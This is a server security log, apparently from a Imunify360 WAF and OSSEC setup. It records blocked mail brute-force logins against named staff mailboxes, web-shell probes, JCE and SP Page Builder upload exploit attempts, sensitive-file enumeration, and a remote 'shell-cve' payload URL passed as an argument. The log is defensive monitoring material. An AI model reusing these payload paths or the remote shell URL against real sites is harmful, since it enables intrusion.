2026-07-08 15:15:45 dovecot_login authenticator failed for H=host-181-177-169-88.supernet.com.bo ([174.64.199.77]) [181.177.169.88]:44202: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-08 15:16:28 dovecot_login authenticator failed for H=([20.243.200.248]) [116.98.104.138]:53194: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.141.23.226
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/benq-s-new-premium-4k-ultra-short-throw-projectors-v6000-v7050i HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-08 15:24:44 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee ([60.18.139.82]) [83.166.50.15]:49068: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.197.71
country_id: 1835841
description:
2026-07-08 15:24:28 dovecot_login authenticator failed for H=([184.170.245.145]) [182.31.197.71]:38541: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-08 15:26:50 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi (h79-138-90-195.cust.bredband2.com) [80.223.163.253]:60070: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.94.236.211
country_id: 6251999
description:
2026-07-08 15:27:02 dovecot_login authenticator failed for H=(60-249-252-94.hinet-ip.hinet.net) [174.94.236.211]:37020: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-08 15:27:18 dovecot_login authenticator failed for H=([183.6.115.88]) [128.185.33.241]:57448: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-08 15:32:49 dovecot_login authenticator failed for H=([166.161.200.132]) [200.107.163.195]:58328: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.98.22
country_id: 1269750
description:
2026-07-08 15:33:18 dovecot_login authenticator failed for H=(broadband-109-173-39-103.ip.moscow.rt.ru) [27.123.98.22]:55152: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-08 15:34:21 dovecot_login authenticator failed for H=([197.219.208.38]) [103.130.91.83]:37524: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-08 15:33:53 dovecot_login authenticator failed for H=([68.71.249.154]) [182.95.101.182]:57988: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.210.128.230
country_id: 1861060
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/travelinbh/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.239.48.157
country_id: 1819730
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ahsmarine/public_html/wp-admin/images/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.50
country_id: 298795
description:
2026-07-08 15:43:45 dovecot_login authenticator failed for H=([192.252.210.237]) [88.255.189.50]:47369: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 103.119.99.82
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-5890.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.119.99.82
country_id: 1831722
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-7549.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 141.255.164.66
country_id: 2658434
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:ywqtdljo.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-08 15:48:19 dovecot_login authenticator failed for H=(ccabv.org.cta.gvt.net.br) [184.57.39.170]:65372: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-08 15:54:46 dovecot_login authenticator failed for H=([174.64.199.77]) [218.248.19.102]:59128: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 103.119.99.82
country_id: 1831722
domain: www.yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-5913.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.119.99.82
country_id: 1831722
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-2671.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.119.99.82
country_id: 1831722
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-5688.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-08 16:02:01 dovecot_login authenticator failed for H=([223.109.49.232]) [118.220.149.121]:36112: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 139.162.9.212
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s641873.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-08 16:03:15 dovecot_login authenticator failed for H=([117.252.93.114]) [98.122.215.23]:58832: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 101.99.88.90
country_id: 1733045
domain: www.reach.ddgalaxy.in
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/ddgalaxy/reach.ddgalaxy.in/admin.php||User:ddgalaxy||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.75
country_id: 1733045
description:
2026-07-08 16:12:38 dovecot_login authenticator failed for H=(syn-065-191-211-033.res.spectrum.com) [49.125.201.75]:47518: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.181.38
country_id: 2661886
description:
2026-07-08 16:13:15 dovecot_login authenticator failed for H=c-83-226-181-38.bbcust.telenor.se ([192.111.138.28]) [83.226.181.38]:41026: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 45.157.112.129
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.26||T:APACHE||MVN:ARGS:data[0][value]||SC:/home/globalgroupoman/public_html/||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 185.68.184.237
country_id: 2921044
domain: sriganapathyent.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/6891ae53abf1111ghhgtu/fonts/6891ae53abf1.pht||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 185.68.184.237
country_id: 2921044
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/e8a58ea4d047111gaknie/fonts/e8a58ea4d047.php.PhP||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 185.68.184.237
country_id: 2921044
domain: sriganapathyent.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/6891ae53abf1111jpnmvn/fonts/6891ae53abf1.shtml||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 185.68.184.237
country_id: 2921044
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/e8a58ea4d047111mfzigq/fonts/e8a58ea4d047.php5||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 185.68.184.237
country_id: 2921044
domain: sriganapathyent.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/6891ae53abf1111jjdbhp/fonts/6891ae53abf1.phtm||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 185.68.184.237
country_id: 2921044
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/e8a58ea4d047111lldbkb/fonts/e8a58ea4d047.shtml||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 45.8.255.167
country_id: 2635167
domain: idealloanz.com.au
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/skizofrenic/shell-cve/refs/heads/main//font.css||User:idealloanzcom||SC:/home/idealloanzcom/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 45.133.170.192
country_id: 2635167
domain: ogocindia.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/skizofrenic/shell-cve/refs/heads/main//font.css||User:ogocindia||SC:/home/ogocindia/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-07-08 16:31:32 dovecot_login authenticator failed for H=([94.228.240.2]) [203.172.213.166]:47262: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.168.136
country_id: 1269750
description:
2026-07-08 16:31:40 dovecot_login authenticator failed for H=([72.206.74.97]) [203.193.168.136]:56616: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.198.221.50
country_id: 6252001
description:
2026-07-08 16:31:40 dovecot_login authenticator failed for H=([122.185.68.89]) [66.198.221.50]:41054: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-08 16:31:52 dovecot_login authenticator failed for H=([142.54.231.33]) [182.95.127.42]:54664: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.34.32.25
country_id: 1522867
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/category/products?Itemid=101 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-08 16:34:46 dovecot_login authenticator failed for H=([220.154.134.180]) [117.211.15.93]:33828: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.159.4.160
country_id: 2542007
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/22/strategy-development-for-clients/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-08 16:42:39 dovecot_login authenticator failed for H=(a95-94-205-12.cpe.netcabo.pt) [212.132.64.89]:50480: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-08 16:42:50 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com ([47.215.0.179]) [64.251.149.81]:47670: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 \xe0\xb8\x84\xe0\xb8\xa5\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb8\xab\xe0\xb8\xb5\xe0\xb8\xab\xe0\xb8\xa5\xe0\xb8\xb8\xe0\xb8\x94; <a href=\"https://yedhod18.com/video-tag/%E0%B9%80%E0%B8%A2%E0%B9%87%E0%B8%94%E0%B8%AB%E0%B8%B5/\">https://yedhod18.com/video-tag/\xe0\xb9\x80\xe0\xb8\xa2\xe0\xb9\x87\xe0\xb8\x94\xe0\xb8\xab\xe0\xb8\xb5/</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.66.234.228
country_id: 3424932
description:
2026-07-08 16:46:14 dovecot_login authenticator failed for H=([115.42.70.26]) [185.66.234.228]:46848: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-08 16:46:30 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([192.111.137.33]) [80.1.51.168]:43826: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-08 16:47:02 dovecot_login authenticator failed for H=([45.182.5.96]) [220.126.215.120]:51058: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.183.59.33
country_id: 130758
description:
2026-07-08 16:47:17 dovecot_login authenticator failed for H=(138-219-13-21.reverse.cablecolor.com.sv) [94.183.59.33]:50180: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-08 16:48:26 dovecot_login authenticator failed for H=([5.11.162.163]) [65.20.146.109]:34704: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-08 16:49:11 dovecot_login authenticator failed for H=([175.10.38.108]) [59.12.212.38]:42466: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-08 16:49:22 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [182.95.228.106]:46678: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.207.177.56
country_id: 192950
description:
2026-07-08 16:49:29 dovecot_login authenticator failed for H=(nsg-corporate-130.221.187.122.airtel.in) [196.207.177.56]:58027: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.252.168.4
country_id: 1269750
description:
2026-07-08 16:49:38 dovecot_login authenticator failed for H=a4.ucndns.in ([49.124.153.30]) [103.252.168.4]:52504: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.175.90.25
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://Casasquetecuentancosas.com\">situs judi bola</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-08 16:53:47 dovecot_login authenticator failed for H=([219.248.4.146]) [121.131.220.152]:46676: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.201.173
country_id: 660013
description:
2026-07-08 16:55:33 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc9-173.dhcp.inet.fi ([49.124.149.26]) [80.223.201.173]:44826: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul  8 16:56:32 vps sshd[820731]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-07-08 17:00:10 dovecot_login authenticator failed for H=([142.54.237.37]) [101.13.4.119]:37844: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.75.176
country_id: 294640
description:
2026-07-08 17:00:23 dovecot_login authenticator failed for H=(host-109-174-104-74.bb-nsk.sib.mts.ru) [2.55.75.176]:38472: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.164.13
country_id: 6252001
description:
2026-07-08 17:00:28 dovecot_login authenticator failed for H=([222.92.61.242]) [192.34.164.13]:11790: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 104.28.243.188
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.243.188
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Bad file extension||RSV:8.26||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:globalgroupoman||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.243.188
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.26||T:APACHE||RA:104.28.243.188||TA:104.28.243.188||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-08 17:06:38 dovecot_login authenticator failed for H=([175.206.1.60]) [119.196.213.196]:39730: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-08 17:06:48 dovecot_login authenticator failed for H=([222.99.52.202]) [183.82.56.12]:49712: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.63
country_id: 1733045
description:
2026-07-08 17:07:08 dovecot_login authenticator failed for H=([24.249.199.9]) [49.125.201.63]:60798: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-08 17:07:28 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([49.124.153.2]) [72.234.16.75]:48836: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-08 17:08:14 dovecot_login authenticator failed for H=([218.81.180.21]) [222.97.195.179]:34384: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.61.159.91
country_id: 2264397
description:
2026-07-08 17:09:48 dovecot_login authenticator failed for H=91.159.61.94.rev.vodafone.pt ([220.161.52.149]) [94.61.159.91]:60390: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.145.134.230
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/news HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-08 17:13:03 dovecot_login authenticator failed for H=([121.22.99.2]) [41.219.149.74]:55009: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-07-08 17:13:13 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de ([146.66.76.174]) [93.241.232.14]:60957: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.74.65.175
country_id: 1733045
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/08/22/strategy-development-for-clients/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 188.119.26.49
country_id: 298795
domain: ibmcglobal.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/ibmcglobal/public_html/index.php||User:ibmcglobal||WPU:||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.57
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 \xe0\xb8\xab\xe0\xb8\x99\xe0\xb8\xb1\xe0\xb8\x87\xe0\xb9\x82\xe0\xb8\x9b\xe0\xb9\x8a [<a href=\"http://www.yedhod18.com/\">http://www.yedhod18.com/</a>] (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.48.46.95
country_id: 3017382
description:
2026-07-08 17:24:10 dovecot_login authenticator failed for H=([196.189.51.64]) [5.48.46.95]:43144: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-08 17:24:36 dovecot_login authenticator failed for H=(abts-north-dynamic-59.213.66.182.airtelbroadband.in) [182.95.181.166]:47168: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-08 17:25:36 dovecot_login authenticator failed for H=(host217-41-62-162.in-addr.btopenworld.com) [122.187.174.78]:48872: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.147.234.86
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/slot-reviews/gonzos-quest\">viagra cost</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-07-08 17:25:55 dovecot_login authenticator failed for H=([60.171.135.254]) [203.172.213.166]:55938: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-08 17:27:41 dovecot_login authenticator failed for H=([67.201.38.131]) [103.187.78.189]:57386: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-08 17:27:26 dovecot_login authenticator failed for H=([49.124.153.59]) [210.177.143.61]:45424: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-08 17:31:44 dovecot_login authenticator failed for H=(syn-076-087-164-167.res.spectrum.com) [205.250.25.62]:54030: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-08 17:36:18 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:33982: 535 Incorrect authentication data (set_id=dins@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.193
country_id: 1269750
description:
2026-07-08 17:36:21 dovecot_login authenticator failed for H=(nsg-corporate-193.230.187.122.airtel.in) [122.187.230.193]:55482: 535 Incorrect authentication data (set_id=dins@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-08 17:36:30 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:34385: 535 Incorrect authentication data (set_id=dins)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 85.237.212.87
country_id: 798544
domain: idealloanz.com.au
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.26||T:APACHE||MVN:ARGS:data[3][value]||SC:/home/idealloanzcom/public_html/contact||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 52.221.212.43
country_id: 1880251
domain: autoconfig.ibmcglobal.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.26||T:APACHE||MV:.env.swp||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.109.136
country_id: 660013
description:
2026-07-08 17:39:14 dovecot_login authenticator failed for H=([218.26.205.154]) [45.82.109.136]:56400: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-07-08 17:38:56 dovecot_login authenticator failed for H=([142.54.235.12]) [23.30.11.253]:41471: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-08 17:39:15 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([178.178.194.136]) [213.65.190.48]:44440: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 45.157.112.129
country_id: 3017382
domain: idealloanz.com.au
description:
